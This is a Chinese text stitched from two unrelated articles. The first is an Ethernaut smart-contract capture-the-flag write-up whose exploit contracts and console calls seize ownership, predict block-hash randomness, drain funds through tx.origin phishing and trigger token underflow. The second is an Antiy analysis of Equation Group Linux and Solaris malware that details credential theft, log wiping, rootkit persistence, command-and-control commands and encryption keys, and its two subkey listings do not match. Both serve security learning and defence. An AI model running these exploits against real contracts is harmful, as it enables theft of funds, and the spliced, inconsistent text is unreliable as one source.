不得不说的是在智能合约相关的安全漏洞中，有很大一部分都与合约实例的回退函数有关，比如经典的 `Reentrancy（重入）`
漏洞，这个我们在后续的分析中再接着讨论。
## Fallout - 构造函数失控
第二题的要求和第一题一样：`Claim ownership of the contract below to complete this
level`，本题给了一个提示：`Solidity Remix IDE`
根据题目建议把题目源码贴到 IDE 上：
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallout is Ownable {
mapping (address => uint) allocations;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
function allocate() public payable {
allocations[msg.sender] += msg.value;
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
在编辑器或者 IDE 中我们可以发现一个很明显的问题，理论上应该写成 `Fallout` 的构造函数被写成了
`Fal1out`，那么该函数就不是构造函数，意味着该函数可以被我们调用（我们无法调用构造函数）。那么这道题就变得非常简单了：
// 调用该函数，修改 owner
await contract.Fal1out();
// 可以确认是否修改成功
await contract.owner();
题目到这里就结束了，本题的漏洞也非常之明显，一个很简单的编程 Bug，但是不是意味着完全没有任何的参考价值呢？当然不是，之所以有这道题目，背后是有故事的：
ETH 圈的某家公司将公司名从 _Dynamic Pyramid_ 改为了 _Rubixi_
，但他们只修改了合约的名字而忘记修改构造函数的名字，结果就恰好发生了像本题所示的情况：所有人都能调用失控的构造函数！然后大家就开始了愉快的抢 owner
游戏（笑
contract Rubixi {
address private owner;
function DynamicPyramid() { owner = msg.sender; }
function collectAllFees() { owner.transfer(this.balance) }
...
}
幸好在 solidity 0.4.22 版本的编译器中已经基本解决了该问题，该版本引入了关键词 `constructor`
来指定构造函数，而不是之前版本的函数的名称与合约名称匹配，所以就不会发生只修改合约名但忘记修改构造函数名这种奇怪的情况了。
## Coin Flip - 不安全的随机数
本题的要求是猜对 10 次硬币（10 次 0 或 1），可以看到代码如下：
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
可以看到函数的随机数产生逻辑如下：
1. 获得上一块的 hash 值
2. 判断与之前保存的 hash 值是否相等，相等则回退
3. 根据 blockValue / FACTOR 的值判断为正或负，即通过 hash 的首位判断
所以我们可以看到我们每次产生的随机数只与当前块的前一块的 hash
值有关，而这可以近似看成随机的。但这是不是意味着我们无法预测呢？当然不是，我们同样可以得到题目用来计算随机数的所有信息（`block.number`，`block.blockhash(xxx)`
等），所以我们也可以得到相应的随机数具体是多少。唯一的问题在于以太坊 10s 左右产生一个
block，所以我们用手动调用的方式可能来不及，所以需要编写合约进行调用：
pragma solidity ^0.4.18;
contract CoinFlip {
function flip(bool _guess) public returns (bool);
}
contract CoinFlipHack {
CoinFlip coinflip;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlipHack(address _addr) public {
coinflip = CoinFlip(_addr);
}
function hack() public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;
return coinflip.flip(side);
}
}
如果对如何在 remix 上部署合约不熟悉，可以再去 Google 一下（逃
下面回来再看本题暴露的问题：以太坊中不安全的随机数。以太坊区块链上的所有交易都是确定性的状态转换操作，每笔交易都会改变以太坊生态系统的全球状态，并且是以一种可计算的方式进行，这意味着其没有任何的不确定性。所以在区块链生态系统内，不存在熵或随机性的来源。如果使用可以被挖矿的矿工所控制的变量，如区块哈希值，时间戳，区块高低或是
Gas 上限等作为随机数的熵源，产生的随机数并不安全。Arseny Reutov 所写的一篇博文仔细讨论了用区块变量作为熵源的缺陷：[Predicting
Random Numbers in Ethereum Smart
Contracts](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620)。
解决该问题可选的方案有 [RANDAO](https://github.com/randao/randao) 或
[Oraclize](http://www.oraclize.it/) 等，以去中心化的方式或是与外界互联网交互的方式得到安全的随机数。
## Telephone - 区分 `tx.origin` 和 `msg.sender`
首先我们来看题目要求：获得合约的所属权。
来看一下代码中对合约所属权的操作：
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
可以看到代码很简单，只要满足 `tx.origin != msg.sender` 即可触发 owner
的修改。但在不了解的人看来，这两个变量在很多情况下是等价的（比如我）。但既然题目的考点存在，这二者必然存在着较大的不同。
我们可以看一下 solidity 文档对 `tx.origin` 以及 `msg.sender` 的定义：
* `msg.sender` (`address`): 消息发送者（当前调用）
* `tx.origin` (`address`): 交易发起者（完全的调用链）
虽然在某些情况下 `msg.sender` 即 `tx.origin`，但二者并非完全等价。`msg.sender`
是函数的直接调用方，在用户手动调用该函数时是发起交易的账户地址，但也可以是调用该函数的一个智能合约的地址。而 `tx.origin`
则必然是这个交易的原始发起方，无论中间有多少次合约内/跨合约函数调用，而且一定是账户地址而不是合约地址。所以如果存在用户通过合约 A 调用合约
B，那么对应合约 B 而言，`msg.sender` 是合约 A 地址，但 `tx.origin` 是用户的账户地址，如下图所示：
所以我们可以通过编写智能合约的方式来满足题目要求的条件：
我们编写了合约 `TelephoneHack` ，在该合约的 `changeOwner` 函数中，会调用 `Telephone` 合约的
`changeOwner` 函数。然后用户手动调用 `TelephoneHack` 的 `changeOwner` 函数，即可触发上述条件。
在完成挑战后，题目提醒我们需要注意的是 `tx.origin` 和 `msg.sender` 的区别，否则可能出现利用将 tx.origin
用作身份验证的智能合约进行钓鱼式攻击的问题。
如果存在合约如下，它使用了 `tx.origin` 作为校验的依据：
pragma solidity ^0.4.18;
contract TxOriginVictim {
address owner;
function TxOriginVictim() {
owner = msg.sender;
}
function transferTo(address to, uint amount) public {
require(tx.origin == owner);
to.call.value(amount)();
}
function() payable public {}
}
那么攻击者可以尝试构造以下合约：
pragma solidity ^0.4.18;
interface TxOriginVictim {
function transferTo(address to, uint amount);
}
contract TxOriginAttacker {
address owner;
function TxOriginAttacker() public {
owner = msg.sender;
}
function getOwner() public returns (address) {
return owner;
}
function() payable public {
TxOriginVictim(msg.sender).transferTo(owner, msg.sender.balance);
}
}
然后攻击者只要以某种方式（比如钓鱼）说服 `TxOriginVictim` 合约的拥有者向该合约发送一定的 ETH 以触发 `fallback`
函数，由于该函数又会调用 `TxOriginVictim` 合约的 `transferTo` 函数，此时函数中的 `tx.origin==owner`
条件满足，合约会向攻击者转走所有资金。钓鱼攻击，成功√
解决该问题的方式很简单，我们需要慎重考虑使用 `tx.origin` 的问题，但不排除其正常的使用方式，比如通过 `require(tx.origin ==
msg.sender)` 限制外部合约对内部合约的调用。
## Token - 整数下溢
上来先看题目要求，我们初始状态时有 20 tokens，然后我们需要想办法让 tokens 增长到超过 20，简单说就是“开局 20 刀，发财全靠搞”（误
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
看完源码之后内心一凉，我们唯二的两个函数，一个是向别人转 token，一个是看自己还剩多少 token，根本没有任何办法给自己账户增加余额。。
当然办法还是有的，我们可以看到题目中所有和 token 的变量，都是 `uint` 类型的，根据定义，`int` / `uint`
分别表示有符号和无符号的不同位数的整型变量，所以我们所有的减法操作都是无符号整数的减法操作，这就带来了一个很明显的问题：整数下溢。
在 solidity 中 `uint` 默认为 256 位无符整型，可表示范围 `[0,
2**256-1]`，在上面的代码中通过直接做减法的方式来进行操作，会使得结果可能由于整数下溢而大于 0（示意图如下）：
那么我们的方法就很简单了，想办法在 `transfer` 函数中触发整数下溢，具体操作如下：
// 转给谁不重要，关键是利用 20-21 触发整数下溢
await contract.transfer(0, 21);
// 可以看一下自己现在的 token 有多少（非常之多）
await contract.balanceOf(player);
/* output
t {s: 1, e: 77, c: Array(6)}
c: (6) [11579208, 92373161954235, 70985008687907, 85326998466564, 5640394575840, 7913129639914]
e: 77
s: 1
__proto__: Object
*/
虽然整数溢出问题非常简单，但是因此引发的区块链安全问题不是少数，比如["一行代码蒸发六十亿"](https://segmentfault.com/a/1190000014531999)，["代币变泡沫，以太坊Hexagon溢出漏洞"](https://www.anquanke.com/post/id/145520)，开发者对整数溢出漏洞的忽视最终将导致惨痛的后果。
但也并非没有办法来处理该问题，最简单的处理是在每一次数学运算时进行判断，如 `a=a+b;`，就可以写成 `if(a+b>a)
a=a+b;`。题目建议的另一种解决方案则是使用 OpenZeppelin 团队开发的 SafeMath
库，如果整数溢出漏洞发生时，函数将进行回退操作，此时加法操作可以写作这样：`a=a.add(b);`
## 参考文章
1. [以太坊智能合约漏洞利用实战writeup](https://zhuanlan.zhihu.com/p/38573744)
2. [从Ethernaut学习智能合约审计(一)](https://www.bubbles966.cn/blog/2018/05/05/analyse_dapp_by_ethernaut/)
3. [Solidity 中文文档](https://solidity-cn.readthedocs.io/)
4. [以太坊智能合约安全入门了解一下（上）](http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/)
5. [以太坊智能合约安全入门了解一下（下）](http://rickgray.me/2018/05/26/ethereum-smart-contracts-vulnerabilities-review-part2/)
6. [干货 | Solidity 安全：已知攻击方法和常见防御模式综合列表，Part-1：可重入漏洞、算法上下溢出](https://ethfans.org/posts/comprehensive-list-of-common-attacks-and-defense-part-1)
7. [干货 | Solidity 安全：已知攻击方法和常见防御模式综合列表，Part-3：默认可见性、随机数误区](https://ethfans.org/posts/comprehensive-list-of-common-attacks-and-defense-part-3)
8. [干货 | Solidity 安全：已知攻击方法和常见防御模式综合列表，Part-7：构造函数失控、未初始化的存储指针](https://ethfans.org/ajian1984/articles/33425)
9. [干货 | Solidity 安全：已知攻击方法和常见防御模式综合列表，Part-8：浮点和精度、Tx.Origin 用作身份验证](https://ethfans.org/posts/comprehensive-list-of-common-attacks-and-defense-part-8)
## 写在最后
萌新刚刚入门区块链，如果发现错误，希望各位大佬不吝批评指正 ⧸⎩⎠⎞͏(・∀・)⎛͏⎝⎭⧹ | 社区文章 |
来源：[安天实验室](http://www.antiy.com/response/EQUATIONS/EQUATIONS.html)
## 1 背景
安天从2015年2月起，陆续公布了两篇针对方程式攻击组织的分析报告，分析了其针对Windows平台的恶意代码组件构成、对硬盘的持久化能力和对加密算法的使用。本报告则将首次公布安天对方程式攻击组织针对Solaris平台和Linux平台的部分样本分析，我们也可以自豪的说，这是业内首次正式证实这些“恶灵”真实存在的公开分析。事实上，安天的相关工作完成于数年前。安天的分析工程师们从2012年起，已经关注到超级攻击组织，力图将其载荷能力覆盖一切可以达成入侵和持久化的场景，在这些场景中，各种服务器操作系统，如Linux、Solaris、FreeBSD等是其高度关心的目标。这些载荷不是寻常的脚本木马，而是
**组件化、具备Rootkit能力、具有超强加密抗分析能力、严格进行加密通讯的二进制组件**
。在安天工程师一直将类似超级攻击组织发起的攻击称为A2PT，并把恶意代码载荷的全平台覆盖能力作为A2PT组织的重要标志。
安天将长期跟踪分析高级威胁和高级恶意代码的经验转化为产品能力，为用户探海威胁检测系统协助用户在网络中捕获载荷投放与横向移动，利用智甲终端防御系统为传统Windows主机和国产操作系统提供全面的保护，协助用户使用追影安全分析平台进行多种平台的恶意代码分析。这些产品的部署也使安天能够在用户支持下获取更多的威胁检索。同时安天也积极关注开源情报和公开信息，关注相关组织的的有关信息与动向。
在去年年初卡巴斯基和安天先后对方程式组织使用的恶意代码进行分析曝光后，方程式组织又在一系列“爆料”事件中浮出水面。在2016年8月所外泄的方程式组织针对多种防火墙和网络设备的攻击代码中[1]，公众第一次把方程式组织和名为“ANT”的攻击装备体系联系起来，并以此看到其针对Cisco、Juniper、Fortinet等防火墙产品达成注入和持久化的能力。而在2016
年 10 月 31 日，The Hacker News 发布文章“Shadow Brokers reveals list of Servers Hacked
by the NSA”
[2]，文章披露了“影子经纪人”公开的更多文件，其中包括部分方程式组织入侵的外国服务器列表。相关文件声称，大部分被感染的服务器运行的是 Solaris,
Oracle-owned Unix等版本的操作系统，有些运行的是 FreeBSD 或 Linux
系统。而随着这些信息和安天的捕获分析工作相互印证，一个关于这个超级攻击组织的 **几乎无死角的、全平台化攻击能力** 已经日趋清晰。
我们的分析工作不断验证着这些信息，在过去数年，这种分析如此漫长、复杂和艰难，超出了我们之前对“震网”、“火焰”的分析和复现中所面临的挑战。这种高度复杂、隐蔽的全能高级恶意代码，无论是对受害者，还是分析者来说，都是一个巨大的挑战。特别是当其打击范围几乎覆盖所有体系结构与操作系统的时候，相对更擅长Windows、Linux和Android等主流操作系统平台下恶意代码分析的传统安全分析团队感受到了巨大的压力和挑战。如果用这个组织的名称“方程式”做一个关于分析难度的比喻的话，
**我们需要破解的已经并不只是一个“方程式”，而是更为复杂的多元多次的“方程组”** 。
## 2 方程式组织的多平台作业能力
方程式组织采用了工业水准的制式化攻击武器库，安天在此前报告中已经对其6件恶意代码组件“装备”进行了分析，他们分别是：
**EquationLaser、EquationDrug、DoubleFantasy、TripleFantasy、Fanny和GrayFish** ，其中
**EquationDrug、DoubleFantasy** 安天均已发现其他平台的样本。方程式武器库信息见下表：
读者可以通过阅读下列报告，自己完成方程式攻击组织针对多平台操作系统的拼图：
注：安天在Solaris样本中分析出的User Agent具有Solaris标识，而卡巴斯基在“EQUATION GROUP: QUESTIONS AND
ANSWERS” [8]中披露出曾捕获到Mac OS X的User Agent的信息，由此来看，尽管安天和卡巴斯基等厂商目前都尚未捕获Mac OS
X的样本，但方程式组织针对MAC OS X的攻击载荷是真实存在的。
## 3 X86 Linux部分载荷分析
安天已经捕获分析了Linux下的DoubleFantasy组件。该组件是方程式组织在Linux平台上用于前期侦查、探测预期目标的攻击样本。由于是Linux平台下的样本，在具体功能实现的技术细节上与我们之前的曝光的Windows样本有所区别。
### 3.1 侦查、探测的前导模块——DoubleFantasy
#### 3.1.1文件标签
#### 3.1.2运行流程
Trojan/Linux.DoubleFantasy
样本执行时分为有参数和无参数两种情况，当有参数‘-c’时候，仅仅是用于获取系统信息，可以视为场景侦查功能，其流程如下：
图 1 Trojan/Linux.DoubleFantasy–c参数流程
如果样本以无参数运行会具有网络通信行为，流程如下：
图 2 Trojan/Linux.DoubleFantasy无参数运行流程
#### 3.1.3 基本功能
遍历系统文件、清除/var/log/lastlog记录、获取系统账户密码信息。 连接Google判断网络连通状态。
连接远程服务器，并根据远程控制指令进行不同的操作。 样本中同样存在多处信息加密算法和网络通讯加密算法。
样本会利用一个链接文件启动自身，proc/%d/exe文件指向样本自身文件。 样本运行后会开启三个连续的PID线程。
随后样本收集被感染机器的信息包括系统目录、文件扩展名等信息。如下图：
图 3收集常规系统信息
恶意代码开始fork( )进程，并判断fork( )的子进程的PID号，判断是否执行成功，如果执行成功则主进程退出，无法调试，影响调试过程如下图所示：
图 4 子进程判断
分别解密各种字符串，获取用户信息，包括系统版本等。 获取用户登陆信息 getpwnam。 查看文件 /bin/fast /sbin/login
/usr/sbin/nologin 。 获取用户登陆密码getpwuid。 读取用户日志var/log /lastlog。
#### 3.1.4 函数、数据动态加载
此样本所调用的函数和数据都是动态加载调用，在分析中需要动态调试，经过分析我们把函数调用地址通过动态分析解密出来如下图：
图 5 函数调用地址
#### 3.1.5 字符串解密分析
样本内部采用了一种自定义的加密算法，用于加密内部要用到的字符串信息，该算法共被调用了115次，加密算法如下：
图 6 Linux样本字符串加密算法
3.1.6 网络通信加密
DoubleFantasy的Linux样本在网络通信时，硬编码在样本中的16位密钥与DoubleFantasy在Windows平台样本中加密注册表相关数据的16位密钥相同：
66 39 71 3c 0f 85 99 81 20 19 35 43 fe 9a 84 11
经计算后生成的子密钥为：
E9 BE CD E0 A8 9F 4D DB C3 42 AC 2B 24 77 AB CB 5A C1 52 F8 5B 3E F0 78 CB 01 0A 69 29 8F 85 8C 03 9C 7C EF 5E 36 0E 8B C0 40 76 28 9C 9C F2 24 81 9D 02 72 4F 6A BB B5 5B 42 73 14 88 F2 73 75 8B F9 37 98 3B 9F 64 2B A3 C4 FF C7 8A 40 67 C1 25 9F 65 54 45 36 48 FF E2 86 05 1A F4 94 AC 2B 08 D5 E5 83 BE 2C AD EE D0 A6 98 CB 8D 35 ED EE C4 F0 8C F2 CD BA 87 03 54 27 3D 13 A7 9B 6A 05 C7 02 30 21 05 67 58 3B E6 A1 44 0A 37 16 3C 86 E9 BC 8B 20 1A 98 7E 28 E6 7F F7 CA F7 9E 38 31 7F F0 2F 93 11 2B 28 F0 FF 11 B7 FC 1C 63 86 CB
Linux样本的自定义算法与Windows下的样本相同，而使用的加密密钥只有一个（因为Linux系统没有注册表，所以就没有注册表加密这功能），该密钥与Windows平台下注册表加密数据的Key相同（Windows平台有两组key，一组注册表key一组网络通讯key），从下图中可以看出两个平台的二级密钥变化算法是相同的（具体算法可以参照Windows加密算法分析部分）。
图 7 二级密钥变化算法
### 3.1.7 网络控制指令
Linux样本的指令分支部分与安天此前所发布的报告中分析的Windows部分基本相同，Linux样本共有9个分支指令，功能也大致相同，指令代码分别为：0x4A、0x4B、0x60、0x70、0x75、0x76、0x78、0x79、0x80。
图 8 Linux样本的指令分支代码
Linux系统下的样本在指令上与Windows样本功能一致，仅在获取系统信息上有细微差别，Linux样本获取信息格式如图：
图 9 Linux样本获取信息格式
获取信息格式说明：
## 4 SPARC架构Solaris场景能力
方程式组织可能制造了第一个SPARC架构[9]下的具有Rootkit属性的恶意代码，并为DoubleFantasy的Solaris[10]版本来提供掩护。
### 4.1 Solaris系统及SPARC架构
Solaris是Sun
Microsystems研发的计算机操作系统，采用SPARC架构或X86架构，主要用于工作站、服务器上的操作系统。Solaris平台下的恶意代码比较罕见，从安天统计来看，即使加上之前的SUN
OS时期，二进制编译形态的恶意代码变种数也不超过60种，而且几乎都是基于X86平台的。 SPARC全称为“可扩充处理器架构”（Scalable
Processor ARChitecture），是RISC微处理器架构之一，其指令集和X86有显著区别，并且有自己独有的窗口、延迟槽、过程调用特点。
SPARC架构的计算机一般用于工业、航天相关领域，其在类似IDC和一般IT场景的使用极为罕见。
### 4.2 Rootkit隐藏模块
该模块是SPACR架构的Solaris平台下的一个Rootkit程序，同其他Rootkit程序一样，它主要负责隐藏主功能样本文件、以及相关衍生的文件和其自身，包括进程、文件、和服务信息。它首先在目标机器上运行，侦查目标机器的系统环境、配置信息、网络状态，并隐藏指定的文件和进程。
#### 4.2.1文件标签
#### 4.2.2 样本主函数
样本共有249个函数，如图所示为样本主函数流程，部分函数也相对复杂，且样本内部同样存在多种加密数据。
图 10 样本主函数
#### 4.2.3衍生文件名及路径
样本运行后根据内部配置的两组字符串组合生成文件名，作为自身的新文件名，并将自身复制到/sbin/目录下。
#### 4.2.4 启动脚本
样本使用服务的方式实现开机启动，在etc/rc.d/目录下创建脚本（S85s%），此脚本会作为开机要执行的服务以start参数运行。
图 11 服务脚本
S85s%文件的内容是加密的，样本运行时调用自身函数解密，并修改其中文件名的变量，再将其写入到/etc/rc.d/目录（下图%E处会修改为样本自身路径）。
图 12 解密后脚本内容
#### 4.2.5 隐藏目录、文件
样本会根据目标机器的HOSTID生成MD5，然后再将MD5进行一个类base64的算法计算，最后取前6位，将.tmp与这6位字符拼接成文件夹名称，然后创建该文件夹。
图 13 样本创建的文件夹名 样本还会根据运行参数，将其他文件复制到此文件夹下执行，并负责隐藏此文件夹下的所有文件。
#### 4.2.6 版本判断
样本通过uname函数确定系统不是sun4m、sun4d版本，通过读取/dev/ksyms文件判断系统架构：i386、ia64、sparc、sparcv9，确定是SPARC架构，确定release版本必须是5.1。
图 14 版本判定
#### 4.2.7 加密配置数据
样本内部存在多处加密算法，其中一个调用多次，我们分析并解密出其数据。
图 15 加密算法 解密的加密数据：
#### 4.2.8 解密执行其他代码/样本
样本在文件尾部添加加密数据，执行后通过末尾数据确定加密数据大小，通过定义的格式进行解析和读取，解密数据后猜测会加载执行。
### 4.3 DoubleFantasy的Sparc架构模块
该样本与Windows、Linux平台样本的功能基本相同，主要区别在于CPU架构、汇编指令、配置信息存储位置、获取系统信息等。
#### 4.3.1 文件标签
#### 4.3.2 基本功能
初始化字符串、动态数组，解密内部配置信息。 连接Google或Yahoo网址判断网络连通状态。
连接远程URL地址。样本会收集主机的信息回传至远程地址，并等待远程主机发送指令。 具有读取系统账户密码文件的功能，可以窃取用户及密码信息。
样本内部实现了以守护进程模式运行，可以达到自我保护防止被结束的功能。 该样本采用多种加密算法加密字符串信息。
获取系统大量信息并回传到服务器（如计算机名称、IP地址、进程信息、账户信息等，详细内容可见本章节后面详细分析）。
网络指令部分，具有7条网络指令，功能上与Windows版本相同，可对计算机进行相对应的指令操作，对应指令详细功能见本章后面详细分析。
#### 4.3.3 配置信息加密
由于Solaris系统没有Windows的注册表，因此该样本的配置数据会直接解密后使用，其中一个解密算法如下，该解密函数共调用63次。
图 16 字符串解密 解密出字符串信息见下表：
样本使用的另一个加密字符串的算法，用于加密样本运行时需要使用的配置信息，解密算法如下：
图 17 另一解密算法 解密内容见下表：
#### 4.3.4 网络通信加密
Solaris样本的自定义算法与Windows下的样本相同，而使用的加密密钥只有一个（因为Solaris系统没有注册表，所以就没有注册表加密的功能），该密钥与Windows平台下注册表加密数据的Key相同，两个平台的自定义加密算法是相同的（具体算法可以参考3.1.6加密算法分析部分）。
通过安天CERT分析，得到原始16位密钥为： 66 39 71 3c 0f 85 99 81 20 19 35 43 fe 9a 84 11
长度为16字节，与Windows的原始16位密钥长度相同。 由于Solaris和Windows样本生成网络通信子密钥的算法相同，那么可生成子密钥：
E9 BE CD E0 A8 9F 4D DB C3 42 AC 2B 24 77 AB CB 5A C1 52 F8 5B 3E F0 78 CB 01 0A 69 29 8F 85 8C 03 9C 7C EF 5E 36 0E 8B C0 40 76 28 9C F2 24 81 9D 02 72 4F 6A BB B5 5B 42 73 14 88 F2 73 75 8B F9 37 98 3B 9F 64 2B A3 C4 FF C7 8A 40 67 C1 25 9F 65 54 45 36 48 FF E2 86 05 1A F4 94 AC 2B 08 D5 E5 83 BE 2C AD EE D0 A6 98 CB 8D 35 ED EE C4 F0 8C F2 CD BA 87 03 54 27 3D 13 A7 9B 6A 05 C7 02 30 21 05 67 58 3B E6 A1 44 0A 37 16 3C 86 E9 BC 8B 20 1A 98 7E 28 E6 7F F7 CA F7 9E 38 31 7F F0 2F 93 11 2B 28 F0 FF 11 B7 FC 1C 63 86 CB
此子密钥才是用于加解密发送、接收数据的。
#### 4.3.5 网络控制指令
在对Solaris样本的分析中我们发现它的功能要比Windows样本的指令少一些，Solaris平台下只有7个指令，功能上与Windows大致相同。下面为两个平台下IDA中的对比图，多图中可以看出Solaris平台下的样本指令比Windows平台上少很多结构图也很简单。
图 18 Windows平台与Solaris平台下网络指令结构对比
Solaris样本的指令功能并未在上图中实现，起初我们以为Solaris样本的指令功能还未完成，不过在进行进一步的分析后我们发现，Solaris样本采用一种特殊的动态计算方式来跳转到不同的指令分支代码，下图中红色部分即为动态计算后跳转的指令分支。
图 19 Solaris指令分支函数
Solaris样本各个指令功能简要描述如下，大体功能与Windows指令相同：
其中下载执行部分样本与Windows一样，使用相同的指令标记，也是通过三步（创建、写入、执行）来完成下载执行的功能，只是在代码结构上有所不同，Solaris把三条指令整合到一个函数中。
执行文件时，先给文件提权，然后使用execle函数带有参数执行文件：
参数1：文件B路径
参数2：文件名B或"sendmail"（猜测与mail有关）
参数3：0
参数4：PATH=%PATH%（环境变量）
例如：execle("/usr/bin/sample","sample", NULL, %envp%);
图 20执行文件参数
Solaris样本指令功能、数据包格式与Windows样本相同，指令的详细功能、数据包格式说明可见 Windows平台样本的指令分析。
Solaris样本下收集的系统信息与Windows略有不同，具体如下：
## 5 总结
### 5.1 以真实威胁驱动我国信息防御能力的的改进
安天希望用自己的工作告诉中国用户，那些关于超级攻击组织全平台覆盖功能能力的种种爆料，并非传说，而且是一种真实的威胁，是一种既定的事实。
在我国安全防御的实践中，有一种先入为主的观点，即认为由于各种规定和约束，暴露在互联网上的节点，乃至能够访问互联网的内网中，并不存放高价值的信息。“一切有价值的信息都存在与隔离网内”——这是一个美好的愿景想象，但并非在这个信息大量产生、高速流动时代的真实情况。同时在大数据时代，高价值信息的定义和范围也在不断变化着。更多的信息资产已经不可避免分布在公共网络体系中。而对这些资产的窥视和攻击也持续在增加着。而超级攻击组织则是类似攻击的始作俑者和长期实践者。
针对DNS服务器的入侵，可以辅助对其他网络目标实现恶意代码注入和信息劫持；针对邮件服务器的植入可以将用户所有的邮件通联一网打尽，针对运营商骨干节点的持久化，可以用来获取全方位的信息，包括收获类似CamberDada[11]计划中说的那种“轻而易举的胜利”
注：Camberdada计划是斯诺登曝光的一份监听行动计划，相关机构通过在运营商的持久化节点，监听用户发放给杀毒厂商的邮件，以发现自己的攻击是否暴露，并实现对其他方投放的样本捕获和再利用。
而“物理隔离”的安全神话也已经到了应该破灭的时候，习近平总书记在4.19讲话中已经提醒国内用户和网络安全工作者：“‘物理隔离’防线可被跨网入侵，电力调配指令可被恶意篡改，金融交易信息可被窃取，这些都是重大风险隐患。”
而中国庞大又脆弱的信息化肌体则又面对着武装到牙齿的对手。攻击载荷的代码工程规模、作业链条的精密设计、全方位无死角的平台覆盖都已显示了方程式攻击组织这样的超级攻击组织空前的攻击能力。而根据相关曝光的信息，其所发动的面对大量的关键目标为期数年的攻击，也表明了这一组织极为坚定的攻击决心。安天在此前的研究中曾将类似的攻击能力组织称为A2PT，并从恶意代码载荷视角给出了A2PT的若干评价标准。这些标准与方程式组织的行为与能力高度吻合。
就像我们此前所概括的那样，相关超级攻击组织拥有“成建制的网络攻击团队、庞大的支撑工程体系与制式化的攻击装备库、强大的漏洞采集和分析挖掘能力和关联资源储备以及系统化的作业规程和手册，具有装备体系覆盖全场景、漏洞利用工具和恶意代码载荷覆盖全平台、持久化能力覆盖全环节的特点。面对这种体系化、即具备工业级水准由具有高度定向性的攻击，永动机注定停摆；银弹注定哑火。想要达成防御效果，实现追踪溯源，唯有以清晰的战略、充分的成本投入，以体系化的防守对决体系化[12]的攻击，通过长期艰苦、扎实的工作和能力建设，才能逐渐取得主动。
### 5.2 我们的努力和对能力型厂商深入协作的期待
从2010年开始，安天先后对“震网”、“毒曲”、“火焰”、“APT-TOCS(海莲花)”、“白象”、“乌克兰停电”、“方程式”等高级攻击行动或攻击组织进行了深入的分析，累计发布了数百页的分析报告。毫无疑问，高级威胁检测产品的能力，是依托扎实有效的分析过程来不断改进的。安天发布了面向高级威胁检测和态势感知的产品体系：安天的探海威胁检测系统改善了用户流量侧的威胁检测的深度和能力，安天的智甲终端防御系统为用户提供了包括“白名单+安全基线”在内的多种防御策略，安天的追影威胁分析平台则为用户提供了通过动静态手段深度分析威胁载荷的能力，安天也在多个行业和部门的态势感知和通报预警平台的建设中扮演了关键角色，提供整体的设计支持、开发集成以及供应关键的检测分析能力。
安天将下一代威胁检测引擎、高定制化深度分析、面向资产和威胁的交互可视分析和知识与情报支撑，作为自身达成有效的、可落地的用户价值的产品基因。
但安天也客观的的看到，面对超级攻击组织的强大能力、坚定意志和难以想象的攻击成本，任何厂商的单打独斗，都难以有效的达成使命，因此安天一直与同业一起，倡导能力型安全厂商间的积极协作和能力互认。在此前针对来自南亚次大陆的网络攻击分析应对中，虽然安天将事件命名为“白象”，360企业安全命名为“摩诃草”，但双方在报告形成中进行了有效的信息互通，以及对对方分析成果的引用互认，这是一个良好的开端，我们相信类似的能力型安全厂商的协作，将会越来越多。
### 5.3 期待一个更安全的网络世界
当前，超级攻击组织的全环节覆盖能力，已经引发了全球用户‘一切均不可信’的安全焦虑。”去年部分国内媒体对方程式攻击的报道中，将攻击者针对高价值目标节点硬盘固件实现攻击持久化的植入，解读为当前主流的硬盘都带有后门，这固然是一种误解，但也不能不说当一个超级攻击组织的能力强大到了只能猜测和想象的程度时，就不可能不引发恐慌，从而导致对超级大国产生“滥用供应链和信息流优势”的严重质疑。
而近期的方程式攻击代码泄露事件以及此前“ANT”装备体系的曝光，则又使我们看到了相关的Exploit储备和攻击思路流入到网络犯罪组织、甚至恐怖主义组织的可能性。鉴于网络攻击技术存在极低的复制成本的特点，当前已经存在严峻的网络军备扩散风险。因此，超级大国能否合理控制自身网络军备发展的速度和规模，并对因自身未有效履行责任而使网络领域发生可能的军备扩散，进行有效地的干预和控制，是我们能达成一个更安全的网络世界的关键因素。
我们期待一个更安全的网络世界，我们为之努力！
### 附录一：参考资料
Equation Group Cyber Weapons Auction - Invitation
https://github.com/theshadowbrokers/EQGRP-AUCTION
Shadow Brokers reveals list of Servers Hacked by the NSA
http://thehackernews.com/2016/10/nsa-shadow-brokers-hacking.html
安天：修改硬盘固件的木马 探索方程式（EQUATION）组织的攻击组件
http://www.antiy.com/response/EQUATION_ANTIY_REPORT.html
安天：方程式（EQUATION）部分组件中的加密技巧分析
